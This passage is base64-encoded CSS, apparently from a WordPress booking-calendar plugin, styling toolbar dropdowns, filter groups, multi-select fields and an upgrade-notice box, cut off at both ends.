JvdGg7XHJcbiAgZGlzcGxheTogYmxvY2s7XHJcbiAgZm9udC13ZWlnaHQ6IDQwMDtcclxuICBwYWRkaW5nOiA1cHggMTVweDtcclxuICB3aGl0ZS1zcGFjZTogbm93cmFwO1xyXG4gIGxpbmUtaGVpZ2h0OiAxOHB4XHJcbn1cclxuLnVpX2VsZW1lbnQgLndwYmNfdWlfZHJvcGRvd24gLnVpX2Ryb3Bkb3duX21lbnUgPiBsaSA+IGEge1xyXG4gIGNvbG9yOiAjMzMzO1xyXG4gIHRleHQtZGVjb3JhdGlvbjogbm9uZTtcclxuICBmb250LXdlaWdodDogNDAwO1xyXG4gIHBhZGRpbmc6IDVweCAxNXB4O1xyXG4gIHdoaXRlLXNwYWNlOiBub3dyYXA7XHJcbiAgZGlzcGxheTogYmxvY2s7XHJcbiAgY2xlYXI6IGJvdGg7XHJcbiAgZm9udC1zaXplOiAxZW07XHJcbiAgbGluZS1oZWlnaHQ6IDEuNDI4NTcxNDNcclxufVxyXG4udWlfZWxlbWVudCAud3BiY191aV9kcm9wZG93biAudWlfZHJvcGRvd25fbWVudSA+IC5hY3RpdmUgPiBhLFxyXG4udWlfZWxlbWVudCAud3BiY191aV9kcm9wZG93biAudWlfZHJvcGRvd25fbWVudSA+IC5hY3RpdmUgPiBhOmZvY3VzLFxyXG4udWlfZWxlbWVudCAud3BiY191aV9kcm9wZG93biAudWlfZHJvcGRvd25fbWVudSA+IC5hY3RpdmUgPiBhOmhvdmVyLFxyXG4udWlfZWxlbWVudCAud3BiY191aV9kcm9wZG93biAudWlfZHJvcGRvd25fbWVudSA+IGxpID4gYTpmb2N1cyxcclxuLnVpX2VsZW1lbnQgLndwYmNfdWlfZHJvcGRvd24gLnVpX2Ryb3Bkb3duX21lbnUgPiBsaSA+IGE6aG92ZXIge1xyXG4gIGNvbG9yOiAjZmZmO1xyXG4gIGJhY2tncm91bmQ6ICMwOGM7XHJcbiAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xyXG4gIG91dGxpbmU6IDA7XHJcbiAgYm94LXNoYWRvdzogbm9uZVxyXG59XHJcbi51aV9lbGVtZW50IC53cGJjX3VpX2Ryb3Bkb3duIC51aV9kcm9wZG93bl9tZW51ID4gLmRpc2FibGVkID4gYSxcclxuLnVpX2VsZW1lbnQgLndwYmNfdWlfZHJvcGRvd24gLnVpX2Ryb3Bkb3duX21lbnUgPiAuZGlzYWJsZWQgPiBhOmZvY3VzLFxyXG4udWlfZWxlbWVudCAud3BiY191aV9kcm9wZG93biAudWlfZHJvcGRvd25fbWVudSA+IC5kaXNhYmxlZCA+IGE6aG92ZXIge1xyXG4gIGNvbG9yOiAjY2NjXHJcbn1cclxuLnVpX2VsZW1lbnQgLndwYmNfdWlfZHJvcGRvd24gLnVpX2Ryb3Bkb3duX21lbnUgPiAuZGlzYWJsZWQgPiBhOmZvY3VzLFxyXG4udWlfZWxlbWVudCAud3BiY191aV9kcm9wZG93biAudWlfZHJvcGRvd25fbWVudSA+IC5kaXNhYmxlZCA+IGE6aG92ZXIge1xyXG4gIHRleHQtZGVjb3JhdGlvbjogbm9uZTtcclxuICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcclxuICBiYWNrZ3JvdW5kLWltYWdlOiBub25lO1xyXG4gIGN1cnNvcjogbm90LWFsbG93ZWRcclxufVxyXG4udWlfZWxlbWVudCAud3BiY191aV9kcm9wZG93biAuZHJvcGRvd24tYmFja2Ryb3Age1xyXG4gIHBvc2l0aW9uOiBmaXhlZDtcclxuICBsZWZ0OiAwO1xyXG4gIHJpZ2h0OiAwO1xyXG4gIGJvdHRvbTogMDtcclxuICB0b3A6IDA7XHJcbiAgei1pbmRleDogOTkwXHJcbn1cclxuLnVpX2VsZW1lbnQgLndwYmNfdWlfY29udHJvbCB7XHJcbiAgYm9yZGVyLXJhZGl1czogMDtcclxuICBib3JkZXItd2lkdGg6IDFweDtcclxuICBtYXJnaW4tcmlnaHQ6IC0xcHghaW1wb3J0YW50XHJcbn1cclxuLnVpX2VsZW1lbnQgLndwYmNfdWlfY29udHJvbDpmaXJzdC1jaGlsZCB7XHJcbiAgYm9yZGVyLXJhZGl1czogM3B4IDAgMCAzcHhcclxufVxyXG4udWlfZWxlbWVudCAud3BiY191aV9jb250cm9sOmxhc3QtY2hpbGQge1xyXG4gIGJvcmRlci1yYWRpdXM6IDAgM3B4IDNweCAwO1xyXG4gIGJvcmRlci13aWR0aDogMXB4XHJcbn1cclxuLnVpX2VsZW1lbnQgLndwYmNfdWlfY29udHJvbDpmaXJzdC1jaGlsZDpsYXN0LWNoaWxkIHtcclxuICBib3JkZXItcmFkaXVzOiAzcHhcclxufVxyXG4udWlfbm93cmFwIHtcclxuICAtbXMtZmxleC13cmFwOiBub3dyYXAhaW1wb3J0YW50O1xyXG4gIGZsZXgtd3JhcDogbm93cmFwIWltcG9ydGFudFxyXG59XHJcbi53cGJjX2FqeF90b29sYmFyIHtcclxuICBwb3NpdGlvbjogcmVsYXRpdmU7XHJcbiAgbWFyZ2luOiAwIDAgMTBweCA1MHB4XHJcbn1cclxuLndwYmNfYWp4X3Rvb2xiYXIgKiB7XHJcbiAgYm94LXNpemluZzogYm9yZGVyLWJveFxyXG59XHJcbi53cGJjX2FqeF90b29sYmFyLndwYmNfYnV0dG9uc19yb3cge1xyXG4gIHBvc2l0aW9uOiBpbml0aWFsO1xyXG4gIG1hcmdpbjogMDtcclxuICBmbG9hdDogbGVmdFxyXG59XHJcbi53cGJjX2FqeF90b29sYmFyLndwYmNfYnV0dG9uc19yb3cgLnVpX2NvbnRhaW5lcixcclxuLndwYmNfYWp4X3Rvb2xiYXIud3BiY19ub19iYWNrZ3JvdW5kIC51aV9jb250YWluZXIge1xyXG4gIGJhY2tncm91bmQ6IDAgMDtcclxuICBib3JkZXI6IG5vbmU7XHJcbiAgbWFyZ2luOiAwO1xyXG4gIHBhZGRpbmc6IDBcclxufVxyXG4ud3BiY19hanhfdG9vbGJhci53cGJjX2JhY2tncm91bmRfdHJhbnNwYXJlbnQgLnVpX2NvbnRhaW5lciB7XHJcbiAgYmFja2dyb3VuZDogMCAwO1xyXG4gIGJvcmRlcjogbm9uZVxyXG59XHJcbi53cGJjX2FqeF90b29sYmFyIC51aV9jb250YWluZXIge1xyXG4gIGRpc3BsYXk6IC1tcy1mbGV4Ym94O1xyXG4gIGRpc3BsYXk6IGZsZXg7XHJcbiAgLW1zLWZsZXgtZmxvdzogcm93IHdyYXA7XHJcbiAgZmxleC1mbG93OiByb3cgd3JhcDtcclxuICAtbXMtZmxleC1wYWNrOiBzdGFydDtcclxuICBqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtc3RhcnQ7XHJcbiAgLW1zLWZsZXgtYWxpZ246IHN0cmV0Y2g7XHJcbiAgYWxpZ24taXRlbXM6IHN0cmV0Y2g7XHJcbiAgbWFyZ2luOiAwO1xyXG4gIGJveC1zaGFkb3c6IG5vbmU7XHJcbiAgYm9yZGVyOiAxcHggc29saWQgI2NjYztcclxuICBib3JkZXItdG9wOiBub25lO1xyXG4gIGJhY2tncm91bmQ6ICNmNWY1ZjU7XHJcbiAgZm9udC1zaXplOiAxNHB4O1xyXG4gIHBhZGRpbmc6IDZweCAxNXB4XHJcbn1cclxuLndwYmNfYWp4X3Rvb2xiYXIgLnVpX2NvbnRhaW5lcjpsYXN0LWNoaWxkIHtcclxuICBib3JkZXItcmFkaXVzOiAwIDAgMnB4IDJweFxyXG59XHJcbi53cGJjX2FqeF90b29sYmFyLndwYmNfbm9fYm9yZGVycyAudWlfY29udGFpbmVyIHtcclxuICBib3JkZXI6IG5vbmU7XHJcbiAgYmFja2dyb3VuZDogMCAwO1xyXG4gIHBhZGRpbmc6IDBcclxufVxyXG5kaXYud3BiY19hanhfdG9vbGJhci53cGJjX25vX2JvcmRlcnMge1xyXG4gIG1hcmdpbjogMFxyXG59XHJcbi53cGJjX2FqeF91bmRlcl90b29sYmFyX3JvdyB7XHJcbiAgZGlzcGxheTogLW1zLWZsZXhib3g7XHJcbiAgZGlzcGxheTogZmxleDtcclxuICAtbXMtZmxleC1mbG93OiByb3cgd3JhcDtcclxuICBmbGV4LWZsb3c6IHJvdyB3cmFwO1xyXG4gIC1tcy1mbGV4LXBhY2s6IHN0YXJ0O1xyXG4gIGp1c3RpZnktY29udGVudDogZmxleC1zdGFydDtcclxuICAtbXMtZmxleC1hbGlnbjogY2VudGVyO1xyXG4gIGFsaWduLWl0ZW1zOiBjZW50ZXJcclxufVxyXG4ud3BiY19hanhfdW5kZXJfdG9vbGJhcl9yb3cgLndwYmNfYWp4X2Jvb2tpbmdfcGFnaW5hdGlvbiB7XHJcbiAgbWFyZ2luLWxlZnQ6IGF1dG9cclxufVxyXG4ud3BiY19hanhfdG9vbGJhciAudWlfY29udGFpbmVyIC51aV9ncm91cCB7XHJcbiAgLW1zLWZsZXg6IDAgMSBhdXRvO1xyXG4gIGZsZXg6IDAgMSBhdXRvO1xyXG4gIHBhZGRpbmc6IDA7XHJcbiAgZGlzcGxheTogLW1zLWZsZXhib3g7XHJcbiAgZGlzcGxheTogZmxleDtcclxuICAtbXMtZmxleC1mbG93OiByb3cgd3JhcDtcclxuICBmbGV4LWZsb3c6IHJvdyB3cmFwO1xyXG4gIC1tcy1mbGV4LXBhY2s6IHN0YXJ0O1xyXG4gIGp1c3RpZnktY29udGVudDogZmxleC1zdGFydDtcclxuICAtbXMtZmxleC1hbGlnbjogc3RyZXRjaDtcclxuICBhbGlnbi1pdGVtczogc3RyZXRjaDtcclxuICBib3JkZXI6IG5vbmU7XHJcbiAgbWFyZ2luOiAwIDIwcHggMCAwXHJcbn1cclxuLndwYmNfYWp4X3Rvb2xiYXIgLnVpX2NvbnRhaW5lciAudWlfZ3JvdXA6bGFzdC1jaGlsZCB7XHJcbiAgbWFyZ2luOiAwXHJcbn1cclxuLndwYmNfbm90X3Rvb2xiYXJfaXNfc2VuZF9lbWFpbHMge1xyXG4gIGJvcmRlci1sZWZ0OiAxcHggc29saWQgI2RiZGJkYjtcclxuICBwYWRkaW5nLWxlZnQ6IDEwcHhcclxufVxyXG4ud3BiY19hanhfdG9vbGJhciAudWlfY29udGFpbmVyIC51aV9ncm91cCAudWlfZWxlbWVudCB7XHJcbiAgZGlzcGxheTogLW1zLWZsZXhib3g7XHJcbiAgZGlzcGxheTogZmxleDtcclxuICAtbXMtZmxleC1mbG93OiByb3cgd3JhcDtcclxuICBmbGV4LWZsb3c6IHJvdyB3cmFwO1xyXG4gIC1tcy1mbGV4LXBhY2s6IHN0YXJ0O1xyXG4gIGp1c3RpZnktY29udGVudDogZmxleC1zdGFydDtcclxuICAtbXMtZmxleC1hbGlnbjogc3RyZXRjaDtcclxuICBhbGlnbi1pdGVtczogc3RyZXRjaDtcclxuICAtbXMtZmxleDogMCAxIGF1dG87XHJcbiAgZmxleDogMCAxIGF1dG87XHJcbiAgcG9zaXRpb246IHJlbGF0aXZlO1xyXG4gIG1hcmdpbjogMCAxNXB4IDAgMFxyXG59XHJcbi53cGJjX2FqeF90b29sYmFyIC51aV9jb250YWluZXIgLnVpX2dyb3VwIC51aV9lbGVtZW50Omxhc3QtY2hpbGQge1xyXG4gIG1hcmdpbi1yaWdodDogMFxyXG59XHJcbi53cGJjX2FqeF90b29sYmFyIC51aV9jb250YWluZXIgLnVpX2dyb3VwIC51aV9lbGVtZW50ID4gKiB7XHJcbiAgbWFyZ2luOiA1cHggMDtcclxuICBoZWlnaHQ6IDM4cHhcclxufVxyXG4udWlfZWxlbWVudHNfZGl2aWRlciB7XHJcbiAgbWFyZ2luLWxlZnQ6IDE1cHhcclxufVxyXG4ud3BiY19hanhfdG9vbGJhciAudWlfY29udGFpbmVyLnVpX2NvbnRhaW5lcl9taWNybyAqLFxyXG4ud3BiY19hanhfdG9vbGJhciAudWlfY29udGFpbmVyLnVpX2NvbnRhaW5lcl9taW5pICosXHJcbi53cGJjX2FqeF90b29sYmFyIC51aV9jb250YWluZXIudWlfY29udGFpbmVyX3NtYWxsICoge1xyXG4gIGZvbnQtc2l6ZTogMTNweFxyXG59XHJcbi53cGJjX2FqeF90b29sYmFyIC51aV9jb250YWluZXIudWlfY29udGFpbmVyX21pbmkge1xyXG4gIHBhZGRpbmc6IDNweCAxNXB4XHJcbn1cclxuLndwYmNfYWp4X3Rvb2xiYXIgLnVpX2NvbnRhaW5lci51aV9jb250YWluZXJfbWluaSAudWlfZ3JvdXAgLnVpX2VsZW1lbnQgPiAqLFxyXG4ud3BiY19hanhfdG9vbGJhciAudWlfY29udGFpbmVyLnVpX2NvbnRhaW5lcl9zbWFsbCAudWlfZ3JvdXAgLnVpX2VsZW1lbnQgPiAqIHtcclxuICBoZWlnaHQ6IDMwcHhcclxufVxyXG4ud3BiY19hanhfdG9vbGJhciAudWlfY29udGFpbmVyIC51aV9ncm91cCAudWlfZWxlbWVudC51aV9lbGVtZW50X21pY3JvID4gKixcclxuLndwYmNfYWp4X3Rvb2xiYXIgLnVpX2NvbnRhaW5lci51aV9jb250YWluZXJfbWljcm8gLnVpX2dyb3VwIC51aV9lbGVtZW50ID4gKiB7XHJcbiAgaGVpZ2h0OiAyMnB4O1xyXG4gIGxpbmUtaGVpZ2h0OiAxXHJcbn1cclxuLndwYmNfYWp4X3Rvb2xiYXIgLnVpX2NvbnRhaW5lciAudWlfZ3JvdXAgLnVpX2VsZW1lbnQudWlfZWxlbWVudF9taWNybyB7XHJcbiAgbWFyZ2luLXJpZ2h0OiA1cHg7XHJcbiAgLW1zLWZsZXgtYWxpZ246IGNlbnRlcjtcclxuICBhbGlnbi1pdGVtczogY2VudGVyXHJcbn1cclxuLndwYmNfYWp4X3Rvb2xiYXIgLnVpX2NvbnRhaW5lciAudWlfZ3JvdXAgLnVpX2VsZW1lbnQudWlfZWxlbWVudF9taWNybzpsYXN0LWNoaWxkIHtcclxuICBtYXJnaW4tcmlnaHQ6IDBcclxufVxyXG5AbWVkaWEgKG1heC13aWR0aDo3ODJweCkge1xyXG4gIC53cGJjX2FqeF90b29sYmFyIC51aV9jb250YWluZXIudWlfY29udGFpbmVyX21pY3JvICosXHJcbiAgLndwYmNfYWp4X3Rvb2xiYXIgLnVpX2NvbnRhaW5lci51aV9jb250YWluZXJfbWluaSAqLFxyXG4gIC53cGJjX2FqeF90b29sYmFyIC51aV9jb250YWluZXIudWlfY29udGFpbmVyX3NtYWxsICoge1xyXG4gICAgZm9udC1zaXplOiAxNHB4XHJcbiAgfVxyXG4gICN0b29sYmFyX2Jvb2tpbmdfbGlzdGluZy53cGJjX2FqeF90b29sYmFyIC51aV9jb250YWluZXIgLnVpX2dyb3VwIC51aV9lbGVtZW50ID4gKixcclxuICAud3BiY19hanhfdG9vbGJhci53cGJjX2J1dHRvbnNfcm93IC51aV9jb250YWluZXIgLnVpX2dyb3VwIC51aV9lbGVtZW50ID4gKiB7XHJcbiAgICBoZWlnaHQ6IDM4cHhcclxuICB9XHJcbiAgI3Rvb2xiYXJfYm9va2luZ19saXN0aW5nLndwYmNfYWp4X3Rvb2xiYXIgLnVpX2NvbnRhaW5lciAudWlfZ3JvdXAgLnVpX2VsZW1lbnQgPiAud3BiY191aV9idXR0b24sXHJcbiAgLndwYmNfYWp4X3Rvb2xiYXIud3BiY19idXR0b25zX3JvdyAudWlfY29udGFpbmVyIC51aV9ncm91cCAudWlfZWxlbWVudCA+IC53cGJjX3VpX2J1dHRvbiB7XHJcbiAgICBwYWRkaW5nOiAwIDE1cHggMXB4O1xyXG4gICAgZGlzcGxheTogLW1zLWZsZXhib3g7XHJcbiAgICBkaXNwbGF5OiBmbGV4O1xyXG4gICAgLW1zLWZsZXgtZmxvdzogcm93IHdyYXA7XHJcbiAgICBmbGV4LWZsb3c6IHJvdyB3cmFwO1xyXG4gICAgLW1zLWZsZXgtcGFjazogY2VudGVyO1xyXG4gICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7XHJcbiAgICAtbXMtZmxleC1hbGlnbjogY2VudGVyO1xyXG4gICAgYWxpZ24taXRlbXM6IGNlbnRlclxyXG4gIH1cclxufVxyXG4ud3BiY19hanhfdG9vbGJhciAudWlfY29udGFpbmVyIC51aV9ncm91cC51aV9ncm91cF9fZGF0ZXNfc3RhdHVzIHtcclxuICBtYXJnaW4tcmlnaHQ6IDIuNWVtXHJcbn1cclxuLndwYmNfYWp4X3Rvb2xiYXIgLnVpX2NvbnRhaW5lciAudWlfZ3JvdXAudWlfZ3JvdXBfX2tleXdvcmQsXHJcbi53cGJjX2FqeF90b29sYmFyIC51aV9jb250YWluZXIgLnVpX2dyb3VwLnVpX2dyb3VwX19rZXl3b3JkIC51aV9lbGVtZW50IHtcclxuICAtbXMtZmxleDogMSAxIGF1dG87XHJcbiAgZmxleDogMSAxIGF1dG9cclxufVxyXG4ud3BiY19hanhfdG9vbGJhciAudWlfY29udGFpbmVyIC51aV9ncm91cC51aV9ncm91cF9fa2V5d29yZCAudWlfZWxlbWVudCAud3BiY19zZWFyY2hfZmllbGQge1xyXG4gIHdpZHRoOiAxMDAlXHJcbn1cclxuLndwYmNfYWp4X3Rvb2xiYXIgLnVpX2NvbnRhaW5lci51aV9jb250YWluZXJfZmlsdGVyX3Jvd18yIHtcclxuICBwYWRkaW5nOiA0cHggMTVweFxyXG59XHJcbi53cGJjX2FqeF90b29sYmFyIC51aV9jb250YWluZXIudWlfY29udGFpbmVyX2ZpbHRlcl9yb3dfMiAudWlfZ3JvdXAudWlfZ3JvdXBfX3N0YXR1c2VzIHtcclxuICAtbXMtZmxleDogMSAxIGF1dG87XHJcbiAgZmxleDogMSAxIGF1dG9cclxufVxyXG4udWlfY29udGFpbmVyIC51aV9ncm91cCAudWlfZWxlbWVudCAuY2h6bi1jb250YWluZXIuY2h6bi1jb250YWluZXItbXVsdGkge1xyXG4gIC1tcy1mbGV4OiAxIDEgYXV0bztcclxuICBmbGV4OiAxIDEgYXV0bztcclxuICBkaXNwbGF5OiAtbXMtZmxleGJveDtcclxuICBkaXNwbGF5OiBmbGV4O1xyXG4gIC1tcy1mbGV4LWZsb3c6IGNvbHVtbiB3cmFwO1xyXG4gIGZsZXgtZmxvdzogY29sdW1uIHdyYXA7XHJcbiAgLW1zLWZsZXgtcGFjazogY2VudGVyO1xyXG4gIGp1c3RpZnktY29udGVudDogY2VudGVyO1xyXG4gIC1tcy1mbGV4LWFsaWduOiBjZW50ZXI7XHJcbiAgYWxpZ24taXRlbXM6IGNlbnRlcjtcclxuICBoZWlnaHQ6IGluaXRpYWw7XHJcbiAgd2lkdGg6IGF1dG8haW1wb3J0YW50O1xyXG4gIG1pbi13aWR0aDogMTBlbTtcclxuICBtYXJnaW4tcmlnaHQ6IC0xcHhcclxufVxyXG5AbWVkaWEgKG1heC13aWR0aDo3ODJweCkge1xyXG4gIC51aV9jb250YWluZXIgLnVpX2dyb3VwIC51aV9lbGVtZW50IC5jaHpuLWNvbnRhaW5lci5jaHpuLWNvbnRhaW5lci1tdWx0aSB7XHJcbiAgICBoZWlnaHQ6IGluaXRpYWwhaW1wb3J0YW50XHJcbiAgfVxyXG59XHJcbi51aV9jb250YWluZXIgLnVpX2dyb3VwIC51aV9lbGVtZW50IC5jaHpuLWNvbnRhaW5lci5jaHpuLWNvbnRhaW5lci1tdWx0aSB1bC5jaHpuLWNob2ljZXMge1xyXG4gIC1tcy1mbGV4OiAxIDEgYXV0bztcclxuICBmbGV4OiAxIDEgYXV0bztcclxuICBkaXNwbGF5OiAtbXMtZmxleGJveDtcclxuICBkaXNwbGF5OiBmbGV4O1xyXG4gIC1tcy1mbGV4LWZsb3c6IHJvdyB3cmFwO1xyXG4gIGZsZXgtZmxvdzogcm93IHdyYXA7XHJcbiAgLW1zLWZsZXgtcGFjazogc3RhcnQ7XHJcbiAganVzdGlmeS1jb250ZW50OiBmbGV4LXN0YXJ0O1xyXG4gIC1tcy1mbGV4LWFsaWduOiBjZW50ZXI7XHJcbiAgYWxpZ24taXRlbXM6IGNlbnRlcjtcclxuICAtbXMtZmxleC1saW5lLXBhY2s6IGNlbnRlcjtcclxuICBhbGlnbi1jb250ZW50OiBjZW50ZXI7XHJcbiAgbWFyZ2luOiAwO1xyXG4gIHBhZGRpbmc6IDAgMCAwIDVweDtcclxuICBoZWlnaHQ6IGF1dG87XHJcbiAgbWluLWhlaWdodDogMjhweCFpbXBvcnRhbnQ7XHJcbiAgYm9yZGVyLXJhZGl1czogM3B4IDAgMCAzcHhcclxufVxyXG4udWlfY29udGFpbmVyIC51aV9ncm91cCAudWlfZWxlbWVudCAuY2h6bi1jb250YWluZXIuY2h6bi1jb250YWluZXItbXVsdGkuY2h6bi1jb250YWluZXItYWN0aXZlIHVsLmNoem4tY2hvaWNlcyB7XHJcbiAgYm9yZGVyLWNvbG9yOiAjZDhkOGQ4IWltcG9ydGFudDtcclxuICBib3gtc2hhZG93OiAwIDAgMCAwICM0Zjk0ZDQsMCAwIDFweCAxcHggcmdiYSg3OSwxNDgsMjEyLC44KSFpbXBvcnRhbnQ7XHJcbiAgei1pbmRleDogMTtcclxuICBvdXRsaW5lOiB0cmFuc3BhcmVudCBzb2xpZCAycHhcclxufVxyXG4udWlfY29udGFpbmVyIC51aV9ncm91cCAudWlfZWxlbWVudCAuY2h6bi1jb250YWluZXIuY2h6bi1jb250YWluZXItbXVsdGkgdWwuY2h6bi1jaG9pY2VzIGxpLnNlYXJjaC1jaG9pY2Uge1xyXG4gIC1tcy1mbGV4OiAwIDEgYXV0bztcclxuICBmbGV4OiAwIDEgYXV0bztcclxuICBkaXNwbGF5OiAtbXMtZmxleGJveDtcclxuICBkaXNwbGF5OiBmbGV4O1xyXG4gIC1tcy1mbGV4LWZsb3c6IHJvdyBub3dyYXA7XHJcbiAgZmxleC1mbG93OiByb3cgbm93cmFwO1xyXG4gIC1tcy1mbGV4LXBhY2s6IHN0YXJ0O1xyXG4gIGp1c3RpZnktY29udGVudDogZmxleC1zdGFydDtcclxuICAtbXMtZmxleC1hbGlnbjogYmFzZWxpbmU7XHJcbiAgYWxpZ24taXRlbXM6IGJhc2VsaW5lO1xyXG4gIG1hcmdpbjogM3B4IDdweCAzcHggMDtcclxuICBwYWRkaW5nOiA0cHggN3B4IDRweCA4cHhcclxufVxyXG4udWlfY29udGFpbmVyIC51aV9ncm91cCAudWlfZWxlbWVudCAuY2h6bi1jb250YWluZXIuY2h6bi1jb250YWluZXItbXVsdGkgdWwuY2h6bi1jaG9pY2VzIGxpLnNlYXJjaC1jaG9pY2Ugc3BhbiB7XHJcbiAgd29yZC13cmFwOiBicmVhay13b3JkXHJcbn1cclxuLnVpX2NvbnRhaW5lciAudWlfZ3JvdXAgLnVpX2VsZW1lbnQgLmNoem4tY29udGFpbmVyLmNoem4tY29udGFpbmVyLW11bHRpIHVsLmNoem4tY2hvaWNlcyBsaS5zZWFyY2gtY2hvaWNlIGEuc2VhcmNoLWNob2ljZS1jbG9zZTAge1xyXG4gIGZvbnQtZmFtaWx5OiBcIkdseXBoaWNvbnMgSGFsZmxpbmdzXCI7XHJcbiAgZm9udC1zdHlsZTogbm9ybWFsO1xyXG4gIGZvbnQtd2VpZ2h0OiA0MDA7XHJcbiAgZm9udC1zaXplOiA5cHg7XHJcbiAgY29sb3I6ICM1NTU7XHJcbiAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xyXG4gIHBvc2l0aW9uOiByZWxhdGl2ZTtcclxuICB0b3A6IGF1dG87XHJcbiAgbGVmdDogYXV0bztcclxuICByaWdodDogYXV0bztcclxuICBib3R0b206IGF1dG87XHJcbiAgbWFyZ2luOiAwIDAgMCAxZW07XHJcbiAgZGlzcGxheTogLW1zLWZsZXhib3g7XHJcbiAgZGlzcGxheTogZmxleDtcclxuICAtbXMtZmxleC1mbG93OiBjb2x1bW4gd3JhcDtcclxuICBmbGV4LWZsb3c6IGNvbHVtbiB3cmFwO1xyXG4gIC1tcy1mbGV4LXBhY2s6IGNlbnRlcjtcclxuICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcclxuICAtbXMtZmxleC1saW5lLXBhY2s6IGNlbnRlcjtcclxuICBhbGlnbi1jb250ZW50OiBjZW50ZXI7XHJcbiAgd2lkdGg6IGF1dG87XHJcbiAgaGVpZ2h0OiBhdXRvXHJcbn1cclxuLnVpX2NvbnRhaW5lciAudWlfZ3JvdXAgLnVpX2VsZW1lbnQgLmNoem4tY29udGFpbmVyLmNoem4tY29udGFpbmVyLW11bHRpIHVsLmNoem4tY2hvaWNlcyBsaS5zZWFyY2gtY2hvaWNlIGEuc2VhcmNoLWNob2ljZS1jbG9zZTA6YmVmb3JlIHtcclxuICBjb250ZW50OiBcIlxcZTAxNFwiXHJcbn1cclxuLnVpX2NvbnRhaW5lciAudWlfZ3JvdXAgLnVpX2VsZW1lbnQgLmNoem4tY29udGFpbmVyLmNoem4tY29udGFpbmVyLW11bHRpIHVsLmNoem4tY2hvaWNlcyBsaS5zZWFyY2gtY2hvaWNlIGEuc2VhcmNoLWNob2ljZS1jbG9zZTA6aG92ZXIge1xyXG4gIHRleHQtZGVjb3JhdGlvbjogbm9uZVxyXG59XHJcbi51aV9jb250YWluZXIgLnVpX2dyb3VwIC51aV9lbGVtZW50IC5jaHpuLWNvbnRhaW5lci5jaHpuLWNvbnRhaW5lci1tdWx0aSB1bC5jaHpuLWNob2ljZXMgbGkuc2VhcmNoLWZpZWxkIHtcclxuICAtbXMtZmxleDogMCAxIDFweDtcclxuICBmbGV4OiAwIDEgMXB4O1xyXG4gIGRpc3BsYXk6IC1tcy1mbGV4Ym94O1xyXG4gIGRpc3BsYXk6IGZsZXg7XHJcbiAgLW1zLWZsZXgtZmxvdzogcm93IHdyYXA7XHJcbiAgZmxleC1mbG93OiByb3cgd3JhcDtcclxuICAtbXMtZmxleC1wYWNrOiBzdGFydDtcclxuICBqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtc3RhcnQ7XHJcbiAgLW1zLWZsZXgtYWxpZ246IGNlbnRlcjtcclxuICBhbGlnbi1pdGVtczogY2VudGVyO1xyXG4gIG1hcmdpbjogMDtcclxuICBwYWRkaW5nOiAwO1xyXG4gIHdoaXRlLXNwYWNlOiBub3dyYXBcclxufVxyXG4udWlfY29udGFpbmVyIC51aV9ncm91cCAudWlfZWxlbWVudCAuY2h6bi1jb250YWluZXIuY2h6bi1jb250YWluZXItbXVsdGkgdWwuY2h6bi1jaG9pY2VzIGxpLnNlYXJjaC1maWVsZCBpbnB1dFt0eXBlPXRleHRdLmRlZmF1bHQge1xyXG4gIG1pbi13aWR0aDogMTJlbVxyXG59XHJcbi51aV9jb250YWluZXIgLnVpX2dyb3VwIC51aV9lbGVtZW50IC5jaHpuLWNvbnRhaW5lci5jaHpuLWNvbnRhaW5lci1tdWx0aSB1bC5jaHpuLWNob2ljZXMgbGkuc2VhcmNoLWZpZWxkIGlucHV0W3R5cGU9dGV4dF0ge1xyXG4gIGZvbnQtZmFtaWx5OiBpbmhlcml0XHJcbn1cclxuLnVpX2NvbnRhaW5lciAudWlfZ3JvdXAgLnVpX2VsZW1lbnQgLmNoem4tY29udGFpbmVyIGRpdi5jaHpuLWRyb3AgdWwuY2h6bi1yZXN1bHRzIGxpLmhpZ2hsaWdodGVkIHtcclxuICBjb2xvcjogI2ZmZjtcclxuICBiYWNrZ3JvdW5kOiAjMDhjO1xyXG4gIHRleHQtZGVjb3JhdGlvbjogbm9uZTtcclxuICBvdXRsaW5lOiAwO1xyXG4gIGJveC1zaGFkb3c6IG5vbmVcclxufVxyXG4ud3BiY19ibHVyIHtcclxuICBmaWx0ZXI6IGJsdXIoLjc1cHgpO1xyXG4gIHBvaW50ZXItZXZlbnRzOiBub25lO1xyXG4gIC13ZWJraXQtdXNlci1zZWxlY3Q6IG5vbmU7XHJcbiAgLW1zLXVzZXItc2VsZWN0OiBub25lO1xyXG4gIHVzZXItc2VsZWN0OiBub25lXHJcbn1cclxuLndwYmNfdXBncmFkZV9ub3RlIHtcclxuICBwb3NpdGlvbjogYWJzb2x1dGU7XHJcbiAgdG9wOiA1MCU7XHJcbiAgYmFja2dyb3VuZC1jb2xvcjogI2ZmZjtcclxuICBwYWRkaW5nOiAxMHB4O1xyXG4gIGJvcmRlcjogMXB4IHNvbGlkICNkMWQxZDE7XHJcbiAgYm94LXNoYWRvdzogMCAzcHggMTBweCAjNWU1ZTVlMzM7XHJcbiAgY29sb3I6ICMxNDFiMzg7XHJcbiAgZm9udC1zaXplOiAxNXB4O1xyXG4gIGZvbnQtd2VpZ2h0OiA2MDA7XHJcbiAgd2lkdGg6IDEwMCU7XHJcbiAgdGV4dC1hbGlnbjogY2VudGVyO1xyXG4gIGxpbmUtaGVpZ2h0OiAyZW07XHJcbiAgbGVmdDogNTAlO1xyXG4gIC1tcy10cmFuc2Zvcm06IHRyYW5zbGF0ZSgtNTAlKSB0cmFuc2xhdGVZKC01MCUpO1xyXG4gIHRyYW5zZm9ybTogdHJhbnNsYXRlKC01MCUpIHRyYW5zbGF0ZVkoLTUwJSlcclxufVxyXG4ud3BiY191cGdyYWRlX25vdGUgYSB7XHJcbiAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xyXG4gIGJvcmRlci1ib3R0b206IDFweCBkYXNoZWRcclxufVxyXG4ud3BiY191cGdyYWRlX25vdGUgYTpob3ZlciB7XHJcbiAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xyXG4gIGJvcmRlci1ib3R0b206IDFweCBzb2xpZFxyXG59XHJcbi53cGJjX3VwZ3JhZGVfbm90ZS53cGJjX3VwZ3JhZGVfdGhlbWVfZ3JlZW4ge1xyXG4gIHdpZHRoOiA3MCU7XHJcbiAgaGVpZ2h